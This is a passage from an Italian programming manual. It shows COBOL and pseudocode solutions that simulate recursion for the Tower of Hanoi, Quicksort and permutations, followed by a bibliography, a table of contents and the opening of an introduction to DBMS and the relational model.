            N := N - 1
            P1 := 6 - P1 - P2
            HANOI
            N := SAVEN(SP)
            P1 := SAVEP1(SP)
            SP = SP - 1
    END IF
END HANOI
```

Listato 84.44. Soluzione in COBOL del problema della torre di Hanoi, con la simulazione della ricorsione.

```
000600 IDENTIFICATION DIVISION.
000700 PROGRAM-ID.   HC04.
000800 AUTHOR.       DANIELE GIACOMINI.
000900 DATE-WRITTEN. 1984-08-18.
001000
001100
001200 ENVIRONMENT DIVISION.
001300
001400
001500 DATA DIVISION.
001600
001700
001800 WORKING-STORAGE SECTION.
001900
```

```
002000 01  RECORD-STACKS.
002100     02  SAVEN  OCCURS 100 TIMES PIC 99.
002200     02  SAVEP1 OCCURS 100 TIMES PIC 9.
002300     02  SAVEP2 OCCURS 100 TIMES PIC 9.
002400
002500 01  STACK-POINTER.
002600     02  SP                      PIC 99 VALUE 0.
002700
002800 01  VARIABILI-SCALARI.
002900     02  N                       PIC 99.
003000     02  P1                      PIC 9.
003100     02  P2                      PIC 9.
003200
003300
003400 PROCEDURE DIVISION.
003500
003600 MAIN.
003700
003800     DISPLAY "INSERISCI LA DIMENSIONE DELLA TORRE".
003900     DISPLAY "(DUE CARATTERI)".
004000     ACCEPT N.
004100
004200     DISPLAY "INSERISCI LA POSIZIONE INIZIALE DELLA TORRE".
004300     DISPLAY "(UN CARATTERE)".
004400     ACCEPT P1.
004500
004600     DISPLAY "INSERISCI LA DESTINAZIONE DELLA TORRE".
004700     DISPLAY "(UN CARATTERE)".
004800     ACCEPT P2.
004900
005000     PERFORM HANOI.
005100
005200     STOP RUN.
005300
005400 HANOI.
005500
005600     IF N > 0
005700       THEN
005800*
005900*          push per conservare le variabili di scambio
006000*
006100           COMPUTE SP = SP + 1,
006200           COMPUTE SAVEN(SP) = N,
006300           COMPUTE SAVEP2(SP) = P2,
006400*
006500*          cambiamenti alle variabili di scambio prima della
006600*          chiamata
006700*
006800           COMPUTE N = N - 1,
006900           COMPUTE P2 = 6 - P1 - P2,
007000*
007100*          chiamata della procedura
007200*
```

```
007300            PERFORM HANOI,
007400*
007500*           pop per recuperare i valori delle variabili di scambio
007600*
007700            COMPUTE P2 = SAVEP2(SP),
007800            COMPUTE N = SAVEN(SP),
007900            COMPUTE SP = SP - 1,
008000
008100            DISPLAY "MUOVI L'ANELLO ", N, " DAL PIOLO ", P1,
008200                    " AL PIOLO ", P2,
008300
008400*
008500*           push per conservare le variabili di scambio
008600*
008700            COMPUTE SP = SP + 1,
008800            COMPUTE SAVEN(SP) = N,
008900            COMPUTE SAVEP1(SP) = P1,
009000*
009100*           modifica dei valori delle variabili di scambio
009200*
009300            COMPUTE N = N - 1,
009400            COMPUTE P1 = 6 - P1 - P2,
009500*
009600*           chiamata della procedura
009700*
009800            PERFORM HANOI,
009900*
010000*           pop per recuperare i valori delle variabili di scambio
010100*
010200            COMPUTE P1 = SAVEP1(SP),
010300            COMPUTE N = SAVEN(SP),
010400            COMPUTE SP = SP - 1.
010500
```

84.4.6 Quicksort (ordinamento non decrescente)

Segue la descrizione dell'algoritmo attraverso la pseudocodifica in forma ricorsiva; si ricorda che l'algoritmo del Quicksort si risolve con due subroutine: una serve a suddividere il vettore; l'altra esegue le chiamate ricorsive. Nella sezione 73.5.4 viene descritto il problema del Quicksort in modo dettagliato.

Variabile	Descrizione
`LISTA`	L'array da ordinare in modo crescente.
`A`	L'indice inferiore del segmento di array da ordinare.
`Z`	L'indice superiore del segmento di array da ordinare.
`CF`	Sta per «collocazione finale» ed è l'indice che cerca e trova la posizione giusta di un elemento nell'array.
`I`	È l'indice che insieme a '**`CF`**' serve a ripartire l'array.

```
PART (LISTA, A, Z)

    LOCAL I INTEGER
    LOCAL CF INTEGER

    # si assume che A < U

    I := A + 1
    CF := Z

    WHILE TRUE # ciclo senza fine.

        WHILE TRUE

            # sposta I a destra

            IF (LISTA[I] > LISTA[A]) OR I >= CF
                THEN
                    BREAK
                ELSE
                    I := I + 1
            END IF

        END WHILE

        WHILE TRUE

            # sposta CF a sinistra

            IF (LISTA[CF] <= LISTA[A])
                THEN
                    BREAK
                ELSE
                    CF := CF - 1
            END IF

        END WHILE

        IF CF <= I
            THEN
                # è avvenuto l'incontro tra I e CF
                BREAK
            ELSE
                # vengono scambiati i valori
                LISTA[CF] :==: LISTA[I]
                I := I + 1
                CF := CF - 1
        END IF

    END WHILE

    # a questo punto LISTA[A:Z] è stata ripartita e CF è la collocazione
```

```
    # di LISTA[A]

    LISTA[CF] :==: LISTA[A]

    # a questo punto, LISTA[CF] è un elemento (un valore) nella giusta
    # posizione

    RETURN CF

END PART
```

```
QSORT (LISTA, A, Z)

    LOCAL CF INTEGER

    IF Z > A
        THEN
            CF := PART (@LISTA, A, Z)
            QSORT (@LISTA, A, CF-1)
            QSORT (@LISTA, CF+1, Z)
    END IF
END QSORT
```

Vale la pena di osservare che l'array viene indicato nelle chiamate in modo che alla subroutine sia inviato un riferimento a quello originale, perché le variazioni fatte all'interno delle subroutine devono riflettersi sull'array originale.

La subroutine '**`QSORT`**' è quella che richiede la trasformazione per la simulazione della ricorsione; tuttavia, anche la subroutine deve essere adattata in modo tale da gestire la variabile '**`CF`**' come variabile globale (non potendo gestire variabili di '**`output`**'). Segue la descrizione di tali adattamenti.

Variabile	Descrizione
`SAVEA`	È il vettore utilizzato per conservare il valore di '**`A`**'.
`SAVEZ`	È il vettore utilizzato per conservare il valore di '**`Z`**'.
`SP`	È l'indice dei vettori usati per salvare i valori (*stack pointer*).

```
PART (LISTA, A, Z)

    LOCAL I INTEGER

    # si assume che A < U

    I := A + 1
    CF := Z

    WHILE TRUE # ciclo senza fine.
```

```
        WHILE TRUE

            # sposta I a destra

            IF (LISTA[I] > LISTA[A]) OR I >= CF
                THEN
                    BREAK
                ELSE
                    I := I + 1
            END IF

        END WHILE

        WHILE TRUE

            # sposta CF a sinistra

            IF (LISTA[CF] <= LISTA[A])
                THEN
                    BREAK
                ELSE
                    CF := CF - 1
            END IF

        END WHILE

        IF CF <= I
            THEN
                # è avvenuto l'incontro tra I e CF
                BREAK
            ELSE
                # vengono scambiati i valori
                LISTA[CF] :==: LISTA[I]
                I := I + 1
                CF := CF - 1
        END IF

    END WHILE

    # a questo punto LISTA[A:Z] è stata ripartita e CF è la collocazione
    # di LISTA[A]

    LISTA[CF] :==: LISTA[A]

    # a questo punto, LISTA[CF] è un elemento (un valore) nella giusta
    # posizione

END PART
```

```
QSORT
    IF Z > A
        THEN
            PART
            SP := SP + 1
            SAVEZ(SP) := Z
            Z := CF - 1
            QSORT
        #   SP := SP - 1
        #   SP := SP + 1
            SAVEA(SP) := A
            A := CF + 1
            QSORT
            A := SAVEA(SP)
            SP := SP - 1
    END IF
END QSORT
```

Listato 84.51. Soluzione in COBOL del problema del Quicksort, con la simulazione della ricorsione. Si osservi che '**`CF`**' è una parola riservata del linguaggio, pertanto viene sostituita con '**`C-F`**'.

```
000600 IDENTIFICATION DIVISION.
000700 PROGRAM-ID.   HC06.
000800 AUTHOR.       DANIELE GIACOMINI.
000900 DATE-WRITTEN. 1984-08-22.
001000
001100
001200 ENVIRONMENT DIVISION.
001300
001400
001500 DATA DIVISION.
001600
001700
001800 WORKING-STORAGE SECTION.
001900
002000 01  RECORD-STACKS.
002100     02  SAVEA   OCCURS 100 TIMES PIC 999.
002200     02  SAVEZ   OCCURS 100 TIMES PIC 999.
002300
002400 01  STACK-POINTER.
002500     02  SP                       PIC 999.
002600
002700 01  VARIABILI-SCALARI.
002800     02  C-F                      PIC 999.
002900     02  A                        PIC 999.
003000     02  Z                        PIC 999.
003100     02  TEMP                     PIC X(15).
003200     02  I                        PIC 999.
003300     02  J                        PIC 999.
003400
003500 01  RECORD-TABELLA.
003600     02  TABELLA OCCURS 100 TIMES PIC X(15).
```

```
003700
003800 PROCEDURE DIVISION.
003900
004000 MAIN.
004100
004200     DISPLAY "INSERISCI IL NUMERO DI ELEMENTI DA ORDINARE".
004300     DISPLAY "(TRE CIFRE)".
004400     ACCEPT Z.
004500     IF Z > 100
004600       THEN
004700           STOP RUN.
004800
004900     COMPUTE A = 1.
005000
005100     PERFORM INSERIMENTO-ELEMENTI VARYING J FROM 1 BY 1
005200                                  UNTIL   J > Z.
005300
005400     PERFORM QSORT.
005500
005600     PERFORM OUTPUT-DATI VARYING J FROM 1 BY 1
005700                         UNTIL   J > Z.
005800
005900     STOP RUN.
006000
006100
006200 INSERIMENTO-ELEMENTI.
006300
006400     DISPLAY "INSERISCI L'ELEMENTO ", J, " DELLA TABELLA".
006500     ACCEPT TABELLA(J).
006600
006700
006800 PART.
006900
007000*
007100*    si assume che A < Z
007200*
007300     COMPUTE I = A + 1.
007400     COMPUTE C-F = Z.
007500
007600     PERFORM PART-TESTA-MAINLOOP.
007700     PERFORM PART-MAINLOOP UNTIL C-F < I
007800                              OR C-F = I.
007900
008000     MOVE TABELLA(C-F) TO TEMP.
008100     MOVE TABELLA(A)   TO TABELLA(C-F).
008200     MOVE TEMP         TO TABELLA(A).
008300
008400
008500 PART-TESTA-MAINLOOP.
008600
008700     PERFORM SPOSTA-I-A-DESTRA UNTIL TABELLA(I) > TABELLA(A)
008800                               OR I > C-F
008900                               OR I = C-F.
```

```
009000
009100     PERFORM SPOSTA-C-F-A-SINISTRA
009200             UNTIL TABELLA(C-F) < TABELLA(A)
009300                OR TABELLA(C-F) = TABELLA(A).
009400
009500
009600 PART-MAINLOOP.
009700
009800     MOVE TABELLA(C-F) TO TEMP.
009900     MOVE TABELLA(I)   TO TABELLA(C-F).
010000     MOVE TEMP         TO TABELLA(I).
010100
010200     COMPUTE I = I + 1.
010300     COMPUTE C-F = C-F - 1.
010400
010500     PERFORM SPOSTA-I-A-DESTRA UNTIL TABELLA(I) > TABELLA(A)
010600                               OR I > C-F
010700                               OR I = C-F.
010800
010900     PERFORM SPOSTA-C-F-A-SINISTRA
011000             UNTIL TABELLA(C-F) < TABELLA(A)
011100                OR TABELLA(C-F) = TABELLA(A).
011200
011300
011400 SPOSTA-I-A-DESTRA.
011500
011600     COMPUTE I = I + 1.
011700
011800
011900 SPOSTA-C-F-A-SINISTRA.
012000
012100     COMPUTE C-F = C-F - 1.
012200
012300
012400 QSORT.
012500
012600     IF Z > A
012700       THEN
012800*
012900*          le variabili che riguardano PART sono tutte in I-O
013000*
013100           PERFORM PART,
013200*
013300*          push
013400*
013500           COMPUTE SP = SP + 1,
013600           COMPUTE SAVEZ(SP) = Z,
013700*
013800*          cambiamenti alle variabili di scambio
013900*
014000           COMPUTE Z = C-F - 1,
014100*
014200*          chiamata
```

```
014300*
014400           PERFORM QSORT,
014500*
014600*          pop
014700*
014800           COMPUTE Z = SAVEZ(SP),
014900           COMPUTE SP = SP - 1,
015000*
015100*          push
015200*
015300           COMPUTE SP = SP + 1,
015400           COMPUTE SAVEA(SP) = A,
015500*
015600*          cambiamenti alle variabili di scambio
015700*
015800           COMPUTE A = C-F + 1,
015900*
016000*          chiamata
016100*
016200           PERFORM QSORT,
016300*
016400*          pop
016500*
016600           COMPUTE A = SAVEA(SP),
016700           COMPUTE SP = SP - 1.
016800
016900
017000 OUTPUT-DATI.
017100
017200     DISPLAY "TABELLA(", J, ") = ", TABELLA(J).
017300
```

84.4.7 Permutazioni

La permutazione degli elementi di un vettore si risolve generalmente attraverso un algoritmo iterativo normale; segue la descrizione dell'algoritmo iterativo in forma di pseudocodifica. Nella sezione 73.5.5 viene descritto il problema delle permutazioni in modo dettagliato.

Variabile	Descrizione
`LISTA`	L'array da permutare.
`A`	L'indice inferiore del segmento di array da permutare.
`Z`	L'indice superiore del segmento di array da permutare.
`K`	È l'indice che serve a scambiare gli elementi.

```
PERMUTA (LISTA, A, Z)

    LOCAL K INTEGER
```

```
    LOCAL N INTEGER

    IF (Z - A) >= 1
        # Ci sono almeno due elementi nel segmento di array.
        THEN
            FOR K := Z; K >= A; K--

                LISTA[K] :==: LISTA[Z]

                PERMUTA (LISTA, A, Z-1)

                LISTA[K] :==: LISTA[Z]

            END FOR
        ELSE
            scrivi LISTA
    END IF

END PERMUTA
```

Per esercizio, l'algoritmo iterativo viene trasformato in modo ricorsivo:

```
PERMUTA (LISTA, A, Z)

    LOCAL K INTEGER
    LOCAL N INTEGER

    SCAMBIO_CHIAMATA_SCAMBIO (LISTA, A, Z, K)
        IF K >= A
            THEN
                LISTA[K] :==: LISTA[Z]
                PERMUTA (LISTA, A, Z-1)
                LISTA[K] :==: LISTA[Z]
                SCAMBIO_CHIAMATA_SCAMBIO (LISTA, A, Z, K - 1)
        END IF
    END SCAMBIO_CHIAMATA_SCAMBIO

    IF Z > A
        THEN
            SCAMBIO_CHIAMATA_SCAMBIO (LISTA, A, Z, Z)
        ELSE
            scrivi LISTA
    END IF

END PERMUTA
```

Segue l'adattamento della pseudocodifica appena mostrata, in modo da simulare la ricorsione, utilizzando variabili globali:

Variabile	Descrizione
`SAVEZ`	È il vettore utilizzato per conservare il valore di '**`Z`**'.

Variabile	Descrizione
`SAVEK`	È il vettore utilizzato per conservare il valore di '`K`'.
`SP`	È l'indice dei vettori usati per salvare i valori (*stack pointer*).

```
PERMUTA (LISTA, A, Z)

    SCAMBIO_CHIAMATA_SCAMBIO
        IF K >= A
            THEN
                LISTA[K] :==: LISTA[Z]
                SP := SP + 1
                SAVEZ(SP) := Z
                Z := Z - 1
                PERMUTA
                Z := SAVEZ(SP)
                SP := SP - 1
                LISTA[K] :==: LISTA[Z]
                SP := SP + 1
                SAVEK(SP) := K
                K := K - 1
                SCAMBIO_CHIAMATA_SCAMBIO
                K := SAVEK(SP)
                SP := SP - 1
        END IF
    END SCAMBIO_CHIAMATA_SCAMBIO

    IF Z > A
        THEN
            SP := SP + 1
            SAVEK(SP) := K
            K := N
            SCAMBIO_CHIAMATA_SCAMBIO
            K := SAVEK(SP)
            SP := SP - 1
        ELSE
            scrivi LISTA
    END IF
END PERMUTA
```

Listato 84.57. Soluzione in COBOL del problema delle permutazioni, con la simulazione della ricorsione.

```
000600 IDENTIFICATION DIVISION.
000700 PROGRAM-ID.   HC07.
000800 AUTHOR.       DANIELE GIACOMINI.
000900 DATE-WRITTEN. 1985-06-19.
001000
001100
001200 ENVIRONMENT DIVISION.
001300
```

```
001400
001500 DATA DIVISION.
001600
001700
001800 WORKING-STORAGE SECTION.
001900
002000 01  RECORD-STACKS.
002100     02  SAVEZ   OCCURS 100 TIMES PIC 9.
002200     02  SAVEK   OCCURS 100 TIMES PIC 9.
002300
002400 01  STACK-POINTER.
002500     02  SP                       PIC 999.
002600
002700 01  VARIABILI-SCALARI.
002800     02  A                        PIC 9   VALUE 1.
002900     02  Z                        PIC 9.
003000     02  K                        PIC 9.
003100     02  TEMP                     PIC 9.
003200     02  J                        PIC 99.
003300
003400 01  RECORD-LISTA.
003500     02  LISTA   OCCURS 10 TIMES PIC 9.
003600
003700
003800 PROCEDURE DIVISION.
003900
004000 MAIN.
004100
004200     DISPLAY "INSERISCI IL NUMERO DI ELEMENTI DA PERMUTARE".
004300     DISPLAY "(UNA CIFRA)".
004400     ACCEPT Z.
004500*
004600*    si genera la prima permutazione con numeri in ordine
004700*    crescente
004800*
004900     MOVE SPACES TO RECORD-LISTA.
005000     PERFORM GEN-PRIMA-PERMUTAZIONE VARYING J FROM 1 BY 1
005100                                    UNTIL J > Z.
005200
005300     PERFORM PERMUTA.
005400
005500     STOP RUN.
005600
005700
005800 GEN-PRIMA-PERMUTAZIONE.
005900
006000     MOVE J TO LISTA(J).
006100
006200
006300 PERMUTA.
006400
006500     IF Z > A
006600       THEN
```

```
006700*
006800*          push
006900*
007000           COMPUTE SP = SP + 1,
007100           COMPUTE SAVEK(SP) = K,
007200*
007300*          chiamata
007400*
007500           COMPUTE K = Z,
007600           PERFORM SCAMBIO-CHIAMATA-SCAMBIO,
007700*
007800*          pop
007900*
008000           COMPUTE K = SAVEK(SP),
008100           COMPUTE SP = SP - 1,
008200
008300       ELSE
008400
008500           DISPLAY RECORD-LISTA.
008600
008700
008800 SCAMBIO-CHIAMATA-SCAMBIO.
008900
009000     IF K >= A
009100       THEN
009200*
009300*      scambio di LISTA(K) con LISTA(Z)
009400*
009500       MOVE LISTA(K) TO TEMP,
009600       MOVE LISTA(Z) TO LISTA (K),
009700       MOVE TEMP     TO LISTA (Z),
009800*
009900*      push
010000*
010100       COMPUTE SP = SP + 1,
010200       COMPUTE SAVEZ(SP) = Z,
010300*
010400*      chiamata
010500*
010600       COMPUTE Z = Z - 1,
010700       PERFORM PERMUTA,
010800*
010900*      pop
011000*
011100       COMPUTE Z = SAVEZ(SP),
011200       COMPUTE SP = SP - 1,
011300*
011400*      scambio di LISTA(K) con LISTA(Z)
011500*
011600       MOVE LISTA(K) TO TEMP,
011700       MOVE LISTA(Z) TO LISTA (K),
011800       MOVE TEMP     TO LISTA (Z),
011900*
```

```
012000*      push
012100*
012200       COMPUTE SP = SP + 1,
012300       COMPUTE SAVEK(SP) = K,
012400*
012500*      chiamata
012600*
012700       COMPUTE K = K - 1,
012800       PERFORM SCAMBIO-CHIAMATA-SCAMBIO,
012900*
013000*      pop
013100*
013200       COMPUTE K = SAVEK(SP),
013300       COMPUTE SP = SP - 1.
013400
```

84.4.8 Bibliografia

- Wagener J. L., *FORTRAN 77 Principles of Programming*, Wiley, 1980, pagine 228..229. **[5]**
- Knuth D. E., *The Art of Computer Programming - Volume 3 Sorting and Searching*, Addison-Wesley, 1973, capitolo 5.
- Dijkstra E. W., *A Discipline of Programming*, Prentice-Hall, 1976, capitolo 13.

Il concetto di locale e di globale: ambito delle variabili

- Wirth N., *Principi di programmazione strutturata*, ISEDI, 1977, capitolo 12. **[1]**
- Moore L., *Foundations of Programming with Pascal*, Ellis Horwood Limited, 1980, capitolo 10. **[3]**
- Ledgard, Nagin, Hueras, *Pascal with Style*, Hayden, 1979, pagine 126..134. **[2]**
- Dijkstra E. W., *A Discipline of Programming*, Prentice-Hall, 1976, capitolo 10.
- Nicholls J. E., *The Structure and Design of Programming Languages*, Addison-Wesley, 1975, capitolo 12.

La ricorsione

- Arsac J., *La construction de programmes structures*, DUNOD, 1977, capitoli 2..5.
- Moore L., *Foundations of Programming with Pascal*, Ellis Horwood Limited, 1980, capitolo 14.
- Aho, Hopcroft, Ullman, *The Design and Analysis of Computer Algorithms*, Addison-Wesley, 1974, pagine 55..60. **[4]**
- Ledgard, Nagin, Hueras, *Pascal with Style*, Hayden, 1979, pagine 134..139.
- Wirth N., *Algorithms + Data Structures = Programs*, Prentice-Hall, 1976, capitolo 3.
- Wagener J. L., *FORTRAN 77 Principles of Programming*, Wiley, 1980, capitolo 11. **[5]**

I linguaggi

- Burroughs Corporation, *Computer Management System COBOL*, codice 2007266.
- Burroughs Corporation, *Computer Management System Message Processing Language (MPLII) - reference manual*, codice 2007563.

Figura 84.58. Ultima foto del 1988 di un elaboratore Burroughs B91, prima della sua dismissione completa. Alla destra appaiono le unità a disco; in fondo il B91, preso dal lato posteriore, assieme a un terminale MT. Il materiale infiammabile a cui si riferisce la scritta sull'armadio era una bottiglietta di alcool, utilizzato come solvente per pulire manualmente i dischi (sia le unità rimovibili, sia i piatti del disco fisso) a seguito dei continui atterraggi delle testine. I piatti dei dischi venivano sfruttati fino a quando la traccia iniziale non risultava raschiata completamente, arrivando a volte anche a rimontarli fuori asse, allo scopo di utilizzare una superficie ancora efficiente per tale traccia. Le testine delle unità a disco dovevano compiere un tragitto molto lungo per raggiungere tutte le tracce del disco (con tutti i problemi che ne derivano a causa della dilatazione termica) e spesso il loro motorino si incagliava: per fare riprendere l'attività all'elaboratore occorreva colpire le unità sullo stesso asse delle testine, per sbloccare il loro movimento.

84.5 Riferimenti

- *TinyCOBOL*
  ⟨*http://tiny-cobol.sourceforge.net* ⟩
- *OpenCOBOL*
  ⟨*http://www.opencobol.org* ⟩

[1] **TinyCOBOL** GNU GPL e GNU LGPL

[2] **OpenCOBOL** GNU GPL e GNU LGPL

Parte iii

Basi di dati

85 DBMS e SQL 5165

85.1 Introduzione ai DBMS 5165
85.2 Questioni organizzative generali dei DBMS comuni 5177
85.3 Introduzione a SQL 5180
85.4 DDL 5181
85.5 DML 5193
85.6 DCL 5208
85.7 Riferimenti 5212

86 PostgreSQL 5215

86.1 Struttura e preparazione 5215
86.2 Gestione del DBMS 5226
86.3 Il linguaggio 5241
86.4 Accesso attraverso PgAccess 5257
86.5 Accesso attraverso WWW-SQL 5266
86.6 Riferimenti 5280

87 MySQL 5283

87.1 Struttura e preparazione 5283
87.2 Gestione del DBMS 5295
87.3 Riferimenti 5302

88 SQLite 5303

88.1 Utilizzo generale 5303
88.2 Esempi comuni 5306
88.3 Riferimenti 5313

89 ODBC 5315

89.1 DSN 5315
89.2 unixODBC 5315
89.3 ODBCConfig 5317
89.4 Accesso a ODBC tramite «isql» o «iusql» 5320
89.5 Riferimenti 5321

90 SQL: lezioni pratiche e verifiche 5323

90.1 Creazione ed eliminazione delle relazioni 5328

90.2 Interrogazione semplice di una relazione 5337
90.3 Interrogazione ordinata di una relazione 5343
90.4 Interrogazione selettiva di una relazione 5347
90.5 Interrogazioni simultanee di più relazioni 5352
90.6 Interrogazioni simultanee di più relazioni e alias 5358
90.7 Viste 5361
90.8 Modifica del contenuto delle tuple 5367
90.9 Eliminazione delle tuple 5373
90.10 Grilletti per il controllo del dominio degli attributi 5377
90.11 Grilletti per il controllo della validità esterna 5383
90.12 Selezione di attributi virtuali, ottenuti da un'espressione 5392
90.13 Aggregazioni 5398
90.14 Inserimento automatico del costo medio 5405

Figura iii.1. Uno studente all'opera con una macchina TES-501 Olivetti, nel 1979, per la catalogazione dei libri della biblioteca scolastica.

Capitolo 85

DBMS e SQL

85.1 Introduzione ai DBMS 5165
85.1.1 Caratteristiche fondamentali 5166
85.1.2 Modello relazionale 5167
85.1.3 Gestione delle relazioni 5171
85.2 Questioni organizzative generali dei DBMS comuni 5177
85.2.1 Configurazione e basi di dati amministrative 5177
85.2.2 Copie di sicurezza delle basi di dati 5178
85.2.3 Comunicazione con il DBMS e accesso alle basi di dati 5178
85.2.4 Utenze e privilegi 5179
85.2.5 ODBC 5180
85.3 Introduzione a SQL 5180
85.3.1 Concetti fondamentali 5180
85.3.2 Terminologia 5181
85.4 DDL 5181
85.4.1 Tipi di dati 5181
85.4.2 Operatori, funzioni ed espressioni 5185
85.4.3 Le relazioni dal punto di vista di SQL 5188
85.5 DML 5193
85.5.1 Inserimento, eliminazione e modifica dei dati 5193
85.5.2 Interrogazioni di relazioni 5196
85.5.3 Trasferimento di dati in un'altra relazione 5204
85.5.4 Viste 5205
85.5.5 Cursori 5206
85.6 DCL 5208
85.6.1 Gestione delle utenze 5208
85.6.2 Gestione delle basi di dati 5209
85.6.3 Gestione dei privilegi standard 5210
85.6.4 Controllo delle transazioni 5211
85.7 Riferimenti 5212

`ALTER TABLE` 5193 `ALTER USER` 5208 `CLOSE` 5207 `COMMIT` 5211 `CREATE DATABASE` 5209 `CREATE TABLE` 5189 `CREATE USER` 5208 `CREATE VIEW` 5205 `DECLARE` 5206 `DELETE FROM` 5196 `DROP TABLE` 5193 `DROP USER` 5208 `DROP VIEW` 5205 `FETCH` 5206 `GRANT` 5210 `INSERT INTO` 5194 5205 `OPEN` 5206 `REVOKE` 5210 `ROLLBACK` 5211 `SELECT` 5196 `UPDATE` 5195

85.1 Introduzione ai DBMS

Un DBMS (*Data base management system*) è, letteralmente, un sistema di gestione di ***basi di dati***, che per attuare questa gestione utilizza il software. Queste «basi di dati» sono dei contenitori atti a immagazzinare una grande quantità di dati, per i quali il «sistema di gestione» è necessario a permetterne la fruizione (diverso è il problema della semplice archiviazione dei dati).

85.1.1 Caratteristiche fondamentali

Un DBMS, per essere considerato tale, deve avere caratteristiche determinate. Le più importanti che permettono di comprenderne il significato sono elencate di seguito.

- Un DBMS è fatto per gestire grandi quantità di dati.

  Convenzionalmente si può intendere che un gruppo di informazioni sia di grandi dimensioni quando questo non possa essere contenuto tutto simultaneamente nella memoria centrale dell'elaboratore. In generale un DBMS non dovrebbe porre limiti alle dimensioni, tranne quelle imposte dai supporti fisici in cui devono essere memorizzate le informazioni.

- I dati devono poter essere condivisibili.

  L'idea che sta alla base dei sistemi di gestione dei dati è quella di accentrare le informazioni in un sistema di amministrazione unico. In tal senso è poi necessario che questi dati siano condivisibili da diverse applicazioni e da diversi utenti.

- I dati devono essere persistenti e affidabili.

  I dati sono persistenti quando continuano a esistere dopo lo spegnimento della macchina con cui vengono elaborati; sono affidabili quando gli eventi per cui si possono produrre alterazioni accidentali sono estremamente limitati.

- L'accesso ai dati deve essere controllabile.

  Dovendo trattare una grande mole di dati in modo condiviso, è indispensabile che esistano dei sistemi di controllo degli accessi, per evitare che determinate informazioni possano essere ottenute da chi non è autorizzato, oppure che vengano modificate da chi non ne è il responsabile.

85.1.1.1 Livelli di astrazione dei dati

I dati gestiti da un DBMS devono essere organizzati a diversi livelli di astrazione. Generalmente si distinguono tre livelli: esterno, logico e interno.

- Il livello interno è quello usato effettivamente per la memorizzazione dei dati. In pratica è rappresentato dai file che contengono effettivamente le informazioni e dal modo con cui questi file vengono utilizzati. Il livello interno non è importante per la progettazione di una base di dati e nemmeno per la scrittura di programmi che devono interagire con il DBMS.

- Il livello logico, o concettuale, è quello che descrive i dati secondo la filosofia del DBMS particolare con cui si ha a che fare.

- Lo schema esterno è un'astrazione aggiuntiva che permette di definire dei punti di vista differenti dei dati descritti a livello logico. L'accesso ai dati avviene solo a questo livello, anche se di fatto può coincidere con il livello logico.

85.1.1.2 Ruoli e sigle standard

Lo studio sui DBMS ha generato degli acronimi che rappresentano persone o componenti essenziali di un sistema del genere. Questi acronimi devono essere conosciuti perché se ne fa uso abitualmente nella documentazione riferita ai DBMS.

L'organizzazione di una base di dati è compito del suo amministratore, definito DBA (*Data base administrator*). Eventualmente può trattarsi anche di più persone; in ogni caso, chi ha la responsabilità dell'amministrazione di uno o più basi di dati è un DBA.

Il concetto di DBA non è molto preciso, perché include assieme ruoli che possono essere differenti. Si va dall'amministratore dell'intero DBMS, fino a coloro che hanno la responsabilità di una base di dati singola.

La definizione della struttura dei dati (sia a livello logico, sia a livello esterno) viene fatta attraverso un linguaggio di programmazione definito DDL (*Data definition language*), la gestione dei dati avviene attraverso un altro linguaggio, detto DML (*Data manipulation language*), infine, la gestione della sicurezza viene fatta attraverso un linguaggio DCL (*Data control language*). Nella pratica, DDL, DML e DCL possono coincidere, come nel caso del linguaggio SQL.

85.1.2 Modello relazionale

Una base di dati può essere impostata secondo diversi tipi di modelli (logici) di rappresentazione. Quello più comune, che è anche il più semplice dal punto di vista umano, è il modello relazionale. In tal senso, un DBMS relazionale viene anche definito semplicemente come RDBMS.

Nel modello relazionale, i dati sono raccolti all'interno di ***relazioni***. Ogni relazione è una raccolta di nessuna o più ***tuple*** di tipo omogeneo. La tupla rappresenta una singola informazione completa, in rapporto alla relazione a cui appartiene, suddivisa in ***attributi***. Le informazioni che possono essere inserite in ogni singolo attributo, dipendono da un ***dominio***. Una relazione, nella sua definizione, non ha una «forma» particolare, tuttavia questo concetto si presta a una rappresentazione tabellare: gli attributi sono rappresentati dalle colonne e le tuple dalle righe. Si osservi l'esempio della figura 85.1.

Figura 85.1. Relazione '`Indirizzi (Cognome, Nome, Indirizzo, Telefono)`'.

Indirizzi			
Cognome	**Nome**	**Indirizzo**	**Telefono**
Pallino	Pinco	Via Biglie 1	0222,222222
Tizi	Tizio	Via Tazi 5	0555,555555
Cai	Caio	Via Caini 1	0888,888888
Semproni	Sempronio	Via Sempi 7	0999,999999

In una relazione, le tuple non hanno una posizione particolare, sono semplicemente contenute nell'insieme della relazione stessa. Se l'ordine ha una rilevanza per le informazioni contenute, questo elemento dovrebbe essere aggiunto tra gli attributi, senza essere determinato da un'ipotetica collocazione fisica. Osservando l'esempio, si intende che l'ordine delle righe non ha importanza per le informazioni che si vogliono trarre; al massimo, un elenco ordinato può facilitare la lettura umana, quando si è alla ricerca di un nome particolare, ma ciò non ha rilevanza nella struttura che deve avere la relazione corrispondente.

Il fatto che la posizione delle tuple all'interno della relazione non sia importante, significa che non è necessario poterle identificare: le tuple si distinguono in base al loro contenuto. In questo senso, una relazione non può contenere due tuple uguali: la presenza di doppioni non avrebbe alcun significato.

A differenza delle tuple, gli attributi devono essere identificati attraverso un nome. Infatti, il semplice contenuto delle tuple non è sufficiente a stabilire di quale attributo si tratti. Osservando la prima riga dell'esempio, diventa difficile distinguere quale sia il nome e quale il cognome:

Pallino	Pinco	Via Biglie 1	0222,222222

Assegnando agli attributi (cioè alle colonne) un nome, diventa indifferente la disposizione fisica di questi all'interno delle tuple.

85.1.2.1 Relazioni collegate

Generalmente, una relazione da sola non è sufficiente a rappresentare tutti i dati riferiti a un problema o a un interesse della vita reale. Quando una relazione contiene tante volte le stesse informazioni, è opportuno scinderla in due o più relazioni più piccole, collegate in qualche modo attraverso dei riferimenti. Si osservi il caso delle relazioni rappresentate dalle tabelle che si vedono nella figura 85.3.

Figura 85.3. Relazioni di un'ipotetica gestione del magazzino.

Articoli			
Codice	**Descrizione**	**Fornitore1**	**Fornitore2**
vite30	Vite 3 mm	123	126
vite40	Vite 4 mm	126	127
dado30	Dado 3 mm	122	123
dado40	Dado 4 mm	126	127
rond50	Rondella 5 mm	123	126

Movimenti					
Codice	**Data**	**Carico**	**Scarico**	**CodFor**	**CodCli**
vite40	01/01/2010	1200		124	
vite30	01/01/2010		800		825
vite30	02/01/2010	1000		954	
vite30	03/01/2010	2000		127	
rond50	03/01/2010		500		954

Fornitori			
CodFor	**Ditta**	**Indirizzo**	**Telefono**
127	Vitoni spa	Via Ferri 2	0123,45678
122	Ferroni spa	Via Metalli 34	0234,5678
126	Nuova Metal	Via Industrie	0345,6789
